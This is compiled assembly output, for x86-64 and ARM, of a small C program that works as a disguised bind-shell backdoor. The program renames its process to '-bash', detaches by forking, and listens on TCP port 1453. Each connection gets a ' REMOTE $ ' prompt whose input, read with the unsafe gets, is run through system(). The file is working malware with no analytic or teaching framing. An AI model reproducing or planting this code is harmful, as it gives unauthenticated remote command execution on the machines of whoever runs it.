	.file	"232955709.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"exit"
.LC1:
	.string	"cd "
	.text
	.globl	command
	.type	command, @function
command:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC0[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L2
	mov	edi, 0
	call	exit@PLT
.L2:
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, 3
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L3
	mov	rax, QWORD PTR -8[rbp]
	add	rax, 3
	mov	rdi, rax
	mov	eax, 0
	call	chdir@PLT
	test	eax, eax
	jns	.L4
	mov	eax, 1
	jmp	.L5
.L3:
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	system@PLT
.L4:
	mov	eax, 0
.L5:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	command, .-command
	.globl	forkpid
	.type	forkpid, @function
forkpid:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	esi, 1
	mov	edi, 17
	call	signal@PLT
	call	fork@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	jle	.L7
	mov	edi, 1
	mov	eax, 0
	call	sleep@PLT
	mov	edi, 0
	call	exit@PLT
.L7:
	cmp	DWORD PTR -4[rbp], 0
	jne	.L8
	mov	esi, 0
	mov	edi, 17
	call	signal@PLT
	mov	eax, 0
	call	getpid@PLT
	jmp	.L9
.L8:
	mov	eax, -1
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	forkpid, .-forkpid
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 336
	mov	DWORD PTR -324[rbp], edi
	mov	QWORD PTR -336[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -336[rbp]
	mov	rax, QWORD PTR [rax]
	mov	DWORD PTR [rax], 1935761965
	mov	WORD PTR 4[rax], 104
	mov	esi, 1
	mov	edi, 17
	call	signal@PLT
	lea	rax, -304[rbp]
	mov	QWORD PTR [rax], 0
	mov	QWORD PTR 8[rax], 0
	mov	WORD PTR -304[rbp], 2
	mov	edi, 1453
	call	htons@PLT
	mov	WORD PTR -302[rbp], ax
	mov	DWORD PTR -300[rbp], 0
	lea	rax, -304[rbp]
	add	rax, 8
	mov	QWORD PTR [rax], 0
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -312[rbp], eax
	cmp	DWORD PTR -312[rbp], -1
	jne	.L11
	mov	edi, 1
	call	exit@PLT
.L11:
	lea	rcx, -304[rbp]
	mov	eax, DWORD PTR -312[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	cmp	eax, -1
	jne	.L12
	mov	edi, 1
	call	exit@PLT
.L12:
	mov	eax, DWORD PTR -312[rbp]
	mov	esi, 5
	mov	edi, eax
	call	listen@PLT
	cmp	eax, -1
	jne	.L13
	mov	edi, 1
	call	exit@PLT
.L13:
	mov	DWORD PTR -316[rbp], 16
	mov	eax, 0
	call	forkpid
.L17:
	lea	rdx, -316[rbp]
	lea	rcx, -288[rbp]
	mov	eax, DWORD PTR -312[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	accept@PLT
	mov	DWORD PTR -308[rbp], eax
	cmp	DWORD PTR -308[rbp], -1
	jne	.L14
	mov	edi, 1
	call	exit@PLT
.L14:
	call	fork@PLT
	test	eax, eax
	jne	.L15
	mov	edx, DWORD PTR -312[rbp]
	mov	eax, DWORD PTR -308[rbp]
	mov	esi, edx
	mov	edi, eax
	mov	eax, 0
	call	getshell
	jmp	.L17
.L15:
	mov	esi, 1
	mov	edi, 17
	call	signal@PLT
	mov	eax, DWORD PTR -308[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	jmp	.L17
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.section	.rodata
.LC2:
	.string	" REMOTE $ "
	.text
	.globl	getshell
	.type	getshell, @function
getshell:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 1056
	mov	DWORD PTR -1044[rbp], edi
	mov	DWORD PTR -1048[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 0
	mov	eax, 0
	call	close@PLT
	mov	edi, 1
	mov	eax, 0
	call	close@PLT
	mov	edi, 2
	mov	eax, 0
	call	close@PLT
	mov	eax, DWORD PTR -1044[rbp]
	mov	esi, 0
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
	mov	eax, DWORD PTR -1044[rbp]
	mov	esi, 1
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
	mov	eax, DWORD PTR -1044[rbp]
	mov	esi, 2
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
.L20:
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -1040[rbp]
	mov	rdi, rax
	mov	eax, 0
	call	gets@PLT
	lea	rax, -1040[rbp]
	mov	rdi, rax
	call	strlen@PLT
	sub	rax, 1
	mov	BYTE PTR -1040[rbp+rax], 0
	mov	edx, DWORD PTR -1044[rbp]
	lea	rax, -1040[rbp]
	mov	esi, edx
	mov	rdi, rax
	mov	eax, 0
	call	command
	mov	rax, QWORD PTR stdout[rip]
	mov	rdi, rax
	call	fflush@PLT
	jmp	.L20
	.cfi_endproc
.LFE9:
	.size	getshell, .-getshell
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"232955709.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"exit\000"
	.align	2
.LC1:
	.ascii	"cd \000"
	.text
	.align	2
	.global	command
	.syntax unified
	.arm
	.fpu softvfp
	.type	command, %function
command:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, .L6
	ldr	r0, [fp, #-8]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L2
	mov	r0, #0
	bl	exit
.L2:
	mov	r2, #3
	ldr	r1, .L6+4
	ldr	r0, [fp, #-8]
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L3
	ldr	r3, [fp, #-8]
	add	r3, r3, #3
	mov	r0, r3
	bl	chdir
	mov	r3, r0
	cmp	r3, #0
	bge	.L4
	mov	r3, #1
	b	.L5
.L3:
	ldr	r0, [fp, #-8]
	bl	system
.L4:
	mov	r3, #0
.L5:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC0
	.word	.LC1
	.size	command, .-command
	.align	2
	.global	forkpid
	.syntax unified
	.arm
	.fpu softvfp
	.type	forkpid, %function
forkpid:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	mov	r1, #1
	mov	r0, #17
	bl	signal
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	ble	.L9
	mov	r0, #1
	bl	sleep
	mov	r0, #0
	bl	exit
.L9:
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	bne	.L10
	mov	r1, #0
	mov	r0, #17
	bl	signal
	bl	getpid
	mov	r3, r0
	b	.L11
.L10:
	mvn	r3, #0
.L11:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	forkpid, .-forkpid
	.section	.rodata
	.align	2
.LC2:
	.ascii	"-bash\000"
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 312
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #312
	str	r0, [fp, #-312]
	str	r1, [fp, #-316]
	ldr	r3, .L21
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-316]
	ldr	r3, [r3]
	ldr	r2, .L21+4
	mov	r0, r3
	mov	r1, r2
	mov	r3, #6
	mov	r2, r3
	bl	memcpy
	mov	r1, #1
	mov	r0, #17
	bl	signal
	sub	r3, fp, #296
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2]
	str	r3, [r2, #4]
	str	r3, [r2, #8]
	str	r3, [r2, #12]
	sub	r3, fp, #4
	sub	r3, r3, #292
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	ldr	r0, .L21+8
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4
	sub	r3, r3, #292
	strh	r2, [r3, #2]	@ movhi
	mov	r3, #0
	str	r3, [fp, #-292]
	sub	r3, fp, #296
	add	r3, r3, #8
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2]
	str	r3, [r2, #4]
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-304]
	ldr	r3, [fp, #-304]
	cmn	r3, #1
	bne	.L13
	mov	r0, #1
	bl	exit
.L13:
	sub	r3, fp, #296
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-304]
	bl	bind
	mov	r3, r0
	cmn	r3, #1
	bne	.L14
	mov	r0, #1
	bl	exit
.L14:
	mov	r1, #5
	ldr	r0, [fp, #-304]
	bl	listen
	mov	r3, r0
	cmn	r3, #1
	bne	.L15
	mov	r0, #1
	bl	exit
.L15:
	mov	r3, #16
	str	r3, [fp, #-308]
	bl	forkpid
.L19:
	sub	r2, fp, #308
	sub	r3, fp, #280
	mov	r1, r3
	ldr	r0, [fp, #-304]
	bl	accept
	str	r0, [fp, #-300]
	ldr	r3, [fp, #-300]
	cmn	r3, #1
	bne	.L16
	mov	r0, #1
	bl	exit
.L16:
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	bne	.L17
	ldr	r1, [fp, #-304]
	ldr	r0, [fp, #-300]
	bl	getshell
	b	.L19
.L17:
	mov	r1, #1
	mov	r0, #17
	bl	signal
	ldr	r0, [fp, #-300]
	bl	close
	b	.L19
.L22:
	.align	2
.L21:
	.word	.LC3
	.word	.LC2
	.word	1453
	.size	main, .-main
	.section	.rodata
	.align	2
.LC4:
	.ascii	" REMOTE $ \000"
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	getshell
	.syntax unified
	.arm
	.fpu softvfp
	.type	getshell, %function
getshell:
	@ args = 0, pretend = 0, frame = 1040
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #1040
	str	r0, [fp, #-1040]
	str	r1, [fp, #-1044]
	ldr	r3, .L26
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #0
	bl	close
	mov	r0, #1
	bl	close
	mov	r0, #2
	bl	close
	mov	r1, #0
	ldr	r0, [fp, #-1040]
	bl	dup2
	mov	r1, #1
	ldr	r0, [fp, #-1040]
	bl	dup2
	mov	r1, #2
	ldr	r0, [fp, #-1040]
	bl	dup2
.L24:
	ldr	r0, .L26+4
	bl	printf
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	gets
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #1
	sub	r2, fp, #4
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #-1028]
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	ldr	r1, [fp, #-1040]
	mov	r0, r3
	bl	command
	ldr	r3, .L26+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	b	.L24
.L27:
	.align	2
.L26:
	.word	.LC5
	.word	.LC4
	.word	stdout
	.size	getshell, .-getshell
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
